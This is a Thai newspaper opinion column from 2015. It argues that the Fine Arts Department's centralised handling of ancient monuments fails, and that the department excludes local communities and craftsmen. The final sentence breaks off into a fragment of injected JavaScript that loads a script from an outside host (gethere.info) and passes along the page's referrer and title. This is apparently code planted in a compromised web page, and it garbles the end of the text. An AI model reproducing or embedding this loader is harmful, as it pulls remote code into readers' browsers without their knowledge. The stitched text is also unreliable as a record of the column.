มติชนรายวัน ฉบับประจำวันจันทร์ที่ 22 มิถุนายน 2558

 

อำนาจรวมศูนย์ ใช้การไม่ได้

         “ต้องทำงานร่วมกับท้องถิ่น ปัญหาคือกรมศิลปากรไม่มีหน่วยงานที่ทำงานกับชุมชน”

         ดร. วรสิทธิ์   ตันตินิพันธ์กุล (ผู้เชี่ยวชาญด้านการอนุรักษ์สถาปัตยกรรม ม.เทคโนโลยีพระจอมเกล้า ธนบุรี) ชี้ทางบรรเทาทุกข์ให้กรมศิลปากร คลี่คลายปัญหาการอนุรักษ์โบราณศิลปวัตถุสถานที่ตกค้างอีกมากทั่วประเทศ

         แล้วบอกอีกว่า ต้องมีบุคลากรจำนวนมากจึงจะพอ แต่ถ้ามีไม่ได้ ก็ต้องแก้ไขด้วยวิธีอื่น

         โดยย้ำว่ากรมศิลปากรไม่สามารถทำงานจากส่วนกลางอย่างเดียวได้

         “กรณีตัวอย่างในอเมริกา จะมีสำนักงานอนุรักษ์ประจำรัฐแต่ละรัฐ และแต่ละเมืองก็มีสมาคมอนุรักษ์ท้องถิ่น โดยมีทั้งเศรษฐีใจดีตั้งกองทุนให้ มีทั้งคนบริจาค จึงมีเงินจ่ายบุคลากร”

         “ในขณะที่กรมศิลปากรบุคลากรไม่พอ เพราะไม่มีอัตราจ้าง”

         ดร. วรสิทธิ์ กล่าวเสริมอีกว่ากรมศิลป์อาจร่วมกับสถาบันการศึกษาที่มีการเรียนการสอนทางช่างก็ได้ จัดอบรมการซ่อมบูรณะงานศิลปกรรมโบราณโดยเชิญช่างพื้นบ้านที่ไม่จำเป็นต้องมีวุฒิปริญญา ซึ่งจะเป็นการ ‘สร้างคน’ในท้องถิ่นให้มีความรู้และประสบการณ์เพิ่มขึ้นด้วยซ้ำไป

         [สรุปจากบทรายงานเรื่อง “ขาดงบฯ บูรณะ” ไร้ทางแก้หรือแค่ติดกรอบฯ โดย พันธุ์ทิพย์ ธีระเนตร ในประชาชื่น มติชน ฉบับวันศุกร์ที่ 5 มิถุนายน 2558 หน้า 17]

 

กระจายอำนาจ

         อเมริกา, ยุโรป, จนถึงญี่ปุ่น เป็นประเทศมั่งคั่ง ร่ำรวย และก้าวหน้าทางเทคโนโลยีมหาศาลมากกว่าไทย

         ล้วนรู้ดีว่าโบราณสถานของแต่ละประเทศ มีมากเกินกำลังของรัฐจะดูแลรับผิดชอบได้หมด

         จึงกระจายอำนาจให้ท้องถิ่นดูแล โดยมีกฎกติกากลางร่วมกัน ให้เป็นไปตามหลักวิชาสงวนรักษาบูรณปฏิสังขรณ์

         ผมจึงคล้อยตามคำชี้แนะของ ดร. วรสิทธิ์ (และของครูบาอาจารย์ผู้ใหญ่จำนวนไม่น้อย ที่เคยบอกมาก่อนนานแล้ว) ที่ว่ากรมศิลปากรไม่สามารถทำงานจากส่วนกลางอย่างเดียวได้ ต้องทำงานร่วมกับท้องถิ่น

         แต่ปัญหาคือ กรมศิลปากรไม่ให้ความสำคัญกับการมีหน่วยงานที่ทำงานร่วมกับชุมชน แล้วมักสร้างความขัดแย้งกับชุมชนโดยไม่จำเป็นเสมอมา

 

กีดกันท้องถิ่น

         งานเกี่ยวกับบูรณะโบราณสถานทั่วประเทศ มีปัญหาโดยสรุปกว้างๆที่ผมจดมาจากอดีตข้าราชการกรมศิลปากรผู้มีประสบการณ์ตรง ดังนี้

         1. ทำงานคนเดียว ไม่ร่วมมือกับใคร และกีดกันไม่ให้ใครร่วมมือ

         จึงทำไม่ทัน ทำไม่ทั่วถึง โดยท่องจำคาถาคำแก้ตัวสำเร็จรูปว่า “เงินไม่พร้อม คนไม่พอ”

         เพราะทึกทักในพวกเดียวกันเองว่าโบราณสถานทั่วประเทศเป็นสมบัติของตนและพรรคพวกเดียวกันเท่านั้น ไม่ใช่ของคนท้องถิ่น ไม่ใช่ของคนทั้งประเทศ ไม่เป็นสมบัติร่วมของคนทั้งโลก

         2. ทวงบุญคุณ เหมือนเป็นคนมีปัญหา

         ว่าตนพวกเดียวเท่านั้นที่เป็นผู้พิทักษ์โบราณสถานของชาติ (ซึ่งหมายถึงราชการ ไม่ใช่ประชาชน) ทั้งๆ “เงินไม่พร้อม คนไม่พอ”

         แล้วสำคัญตนว่าเป็นผู้รู้ทางโบราณคดีแต่พวกเดียวในไทย จึงบกพร่องผิดพลาดไม่น้อย แต่พากันกลบเกลื่อนปิดบังไว้ เพราะเป็นพวกเดียวกัน และไม่เคยมีการตรวจสอบจากหน่วยงานอิสระที่ประกอบด้วยผู้รู้จากภายนอก

         3. อ้างว่าท้องถิ่นขาดผู้รู้งานบูรณะโบราณสถาน

         แต่ในความจริงที่กรมศิลปากรปฏิบัติมานานนักหนา คือจ้างผู้รับเหมาทำตามสเปคของนักวิชาการโบราณคดี เพราะหลายอย่างทางผู้รับเหมามีประสบการณ์สูงกว่านักโบราณคดี

         ดังนั้น ถ้าท้องถิ่นบางแห่งมีความพร้อมจะทำตามสเปคทางวิชาการโบราณคดีบ้าง ก็ไม่น่ามีปัญหา และมีตัวอย่างหลายครั้งที่กรมศิลปากรบูรณะผิดพลาด ขณะที่ช่างท้องถิ่นทำได้ถูกต้องดีกว่า

         แต่ก็มีปัญหา เพราะต้องย้อนไปดูที่ข้อ 1 กับข้อ 2s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; }